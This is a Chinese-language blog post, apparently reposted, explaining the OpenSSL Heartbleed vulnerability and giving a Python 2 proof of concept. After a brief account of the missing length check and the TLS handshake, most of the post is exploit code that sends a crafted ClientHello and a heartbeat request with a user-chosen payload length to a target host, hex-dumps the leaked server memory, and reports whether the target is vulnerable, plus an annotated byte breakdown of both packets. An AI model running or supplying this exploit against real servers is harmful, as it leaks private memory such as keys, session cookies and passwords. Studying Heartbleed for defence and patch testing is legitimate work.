心臟滴血HeartBleed漏洞研究及其POC


一、漏洞原理:

首先聲明,我雖然能看懂C和C++的每一行代碼,但是他們連在一起我就不知道什么鬼東西了。所以關於代碼說理的部分只能參考其他大牛的博客了。   

1 /*
2 據說源碼中有下面兩條語句,反正我也沒看過源碼。
3 */
4 buffer = OPENSSL_malloc(1 + 2 + payload + padding);
5 bp = buffer;

還是據說payload這個部分其實是length的值,以上如果都是對的話(事實上以上就是對的),那么在申請內存時候壓根就沒有檢查大小好嗎?這不就可以把后面的內存內容包含進來了嘛。

還是說回正題:

TLS/SSL協議簡介:

過程:

1-》客戶端發送包1:ClientHello

2《-服務器返回包1-2:ServerHello + [Certificate*、ServerKeyExchange*、CertificateRequest*]   => ServerHelloDown

3-》客戶端發送包2:[Certificate*、ClientKeyExchange*、CertificateVerify*、ChangeCipherSpec] =》Finished

4《-服務器返回包3:[ChangeCipherSpec] => Finished

5《--》雙方交流數據

典型的v1.2正常場景

 

這是典型的攻擊場景抓包v1.1漏洞版本

 由此可見:在v1.1版本中進行在收到serverhello數據包之后發送精心構造的heartbeat包進行攻擊

正常心跳包

攻擊心跳包:

關鍵字節

 

修改這個地方,就以為這修改length。返回包heartbeat Response長度就會不一致。

也就是泄露了內存。

18-》content-type:heartbeat(24)

03 02 -》version

03-》Length

01 -》request

60 00 就是payload了 ,你要讀取的長度(一般應該是20 00)

 

所以poc就可以如下:

  1 #!/usr/bin/env python
  2 # -*- coding: utf-8 -*-
  3 
  4 import sys
  5 import time
  6 import chardet
  7 import struct
  8 import socket
  9 import select
 10 
 11 def String_To_Binary(content):
 12     return content.replace(' ','').replace('\n','').decode('hex')
 13 
 14 '''
 15 報文結構參考:http://blog.csdn.net/qq_32400847/article/details/58332946
 16 '''
 17 HelloPacket = '''\
 18 16030200dc010000 d803025343 5b 909d9b 72 0b bc  0c bc 2b 92 a8 48 97 cf bd39 04 \
 19 cc 16 0a 85 03  90 9f 77 04 33 d4de000066c014c00ac022c0210039003800880087c00fc00\
 20 500350084c012c008c01cc01b00160013c00dc003000ac013c009c01fc01e00330032009a0099004\
 21 50044c00ec004002f00960041c011c007c00cc002000500040015001200090014001100080006000\
 22 300ff01000049000b000403000102000a00340032000e000d0019000b000c00180009000a0016001\
 23 7000800060007001400150004000500120013000100020003000f001000110023 00 00000f 00 0\
 24 1 01\
 25 '''    
 26 
 27 def HexDump(s):
 28     for b in xrange(0, len(s), 16):
 29         lin = [c for c in s[b: b + 16]]
 30         hxdat = ' '.join('%02X' % ord(c) for c in lin)
 31         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.') for c in lin)
 32         print ' %04x: %-48s %s' % (b, hxdat, pdat)
 33     print
 34 
 35 def RecvAll(socketobj, length, timeout=5):
 36     endtime = time.time() + timeout
 37     rdata = ''
 38     remain = length
 39     while remain > 0:
 40         rtime = endtime - time.time()
 41         if rtime < 0:
 42             return None
 43         read, wait, error = select.select([socketobj], [], [], 5)
 44         print 'read: ', read
 45         if socketobj in read:
 46             data = socketobj.recv(remain)
 47             if not data:
 48                 return None
 49             rdata += data
 50             remain -= len(data)
 51     HexDump(rdata)
 52     return rdata
 53 
 54 def RecvMsg(socketobj):
 55     hdr = RecvAll(socketobj, 5)  
 56     if hdr is None:
 57         return None, None, None
 58     type, version, length = struct.unpack('>BHH', hdr)
 59     payload = RecvAll(socketobj, length, 10)
 60     if payload is None:
 61         return None, None, None
 62     return type, version, payload
 63 
 64 def Hit_Hb(socketobj, target):
 65 # global target
 66     socketobj.send(String_To_Binary(KeyPacket))
 67     while True:
 68         print "[+] receive data..."
 69         type, version, payload = RecvMsg(socketobj)
 70         if type is None:
 71             print "[-] %s |NOTVULNERABLE" % target
 72             return False
 73 
 74         # TLSv1.1 Record Layer: EncryptedHeartbeat
 75         # Content Type: Heartbeat (24)
 76         # Version: TLS 1.1 (0x0302)
 77         # Length: 19
 78         # Encrypted Heartbeat Message
 79         if type == 24:
 80             if len(payload) > 3:
 81                 print "[*] %s |VULNERABLE" % target
 82             else:
 83                 print "[-] %s |NOTVULNERABLE" % target
 84             return True
 85 
 86         if type == 21:
 87             print "[-] %s |NOTVULNERABLE" % target
 88             return False
 89 
 90 def Do_openSSL_Test(target, port):
 91     socketobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 92     socketobj.connect((target, port))
 93     socketobj.send(String_To_Binary(HelloPacket))
 94 
 95     while True:
 96         type, version, payload = RecvMsg(socketobj)
 97         if type == None:
 98             return
 99         if type == 22 and ord(payload[0]) == 0x0E:
100             break
101     # sys.stdout.flush()
102     print "[+] send payload: %s" % KeyPacket
103     socketobj.send(String_To_Binary(KeyPacket))  # Malformed Packet
104     return Hit_Hb(socketobj, target)  # ------------- *********
105 
106 
107 if __name__ == '__main__':
108     ip = sys.argv[1]
109     port = sys.argv[2]
110     size = sys.argv[3]
111     KeyPacket = "180302000301%s000"%size
112     HelloPacket = str(HelloPacket).replace("","").replace("\n","")
113     KeyPacket = KeyPacket.replace("","").replace("\n","")
114     Do_openSSL_Test(ip,int(port))

 

報文結構部分如下參考http://blog.csdn.net/qq_32400847/article/details/58332946(特此鳴謝)

  1 """
  2 HelloPacket = [
  3     # TLSv1.1 Record Layer : HandshakeProtocol: Client Hello
  4     "16"  # Content Type: Handshake (22)
  5     "0302"  # Version: TLS 1.1 (0x0302)
  6     "00dc"  # Length: 220
  7     # Handshake Protocol: Client Hello
  8     "01"  # Handshake Type: Client Hello (1)
  9     "0000 d8"  # Length (216)
 10     "0302"  # Version: TLS 1.1 (0x0302)
 11     # Random
 12     "5343 5b 90"  # gmt_unix_time
 13     "9d9b 72 0b bc  0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03  90 9f 77 04 33 d4de"  # random_bytes
 14     "00"  # Session ID Length: 0
 15     "0066"  # Cipher Suite Length: 102
 16     # Cipher Suites
 17     "c014"
 18     "c00a"
 19     "c022"
 20     "c021"
 21     "0039"
 22     "0038"
 23     "0088"
 24     "0087"
 25     "c00f"
 26     "c005"
 27     "0035"
 28     "0084"
 29     "c012"
 30     "c008"
 31     "c01c"
 32     "c01b"
 33     "0016"
 34     "0013"
 35     "c00d"
 36     "c003"
 37     "000a"
 38     "c013"
 39     "c009"
 40     "c01f"
 41     "c01e"
 42     "0033"
 43     "0032"
 44     "009a"
 45     "0099"
 46     "0045"
 47     "0044"
 48     "c00e"
 49     "c004"
 50     "002f"
 51     "0096"
 52     "0041"
 53     "c011"
 54     "c007"
 55     "c00c"
 56     "c002"
 57     "0005"
 58     "0004"
 59     "0015"
 60     "0012"
 61     "0009"
 62     "0014"
 63     "0011"
 64     "0008"
 65     "0006"
 66     "0003"
 67     "00ff"
 68     "01"  # Compression Methods
 69     # Compression Methods (1 method)
 70     "00"  # Compression Method: null
 71     "0049"  # Extension Length: 73
 72     "000b"  # Type: ec_point_formats
 73     "0004"  # Length: 4
 74     "03"  # EC point formats length: 3
 75     # Elliptic curves point formats
 76     "00"  # EC point format: uncompressed (0)
 77     "01"  # EC point format:ansix962_compressed_prime
 78     "02"  # EC point format:ansix962_compressed_char2
 79     # Extension: elliptic_curves
 80     "000a"
 81     "0034"
 82     "0032"
 83     "000e"
 84     "000d"
 85     "0019"
 86     "000b"
 87     "000c"
 88     "0018"
 89     "0009"
 90     "000a"
 91     "0016"
 92     "0017"
 93     "0008"
 94     "0006"
 95     "0007"
 96     "0014"
 97     "0015"
 98     "0004"
 99     "0005"
100     "0012"
101     "0013"
102     "0001"
103     "0002"
104     "0003"
105     "000f"
106     "0010"
107     "0011"
108     "0023 00 00"  # Extension:SeesionTicket TLS
109     "000f 00 01 01"  # Extension:Heartbeat
110 ]
111 
112 # ---------TLSv1---[Heartbeat Request]------------
113 KeyPacket = [
114             # TLSv1.1 Record Layer: HeartbeatRequest
115     "18"    # Content Type: Heartbeat (24) ----(0x18)
116     "0302"  # Version: TLS 1.1 (0x0302)
117     "0003"  # Heartbeat Message:
118     "01"    # Type: Request (1) (0x01)
119     "2000"  # Payload Length: (16384) (0x4000)
120 ]
121 """

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM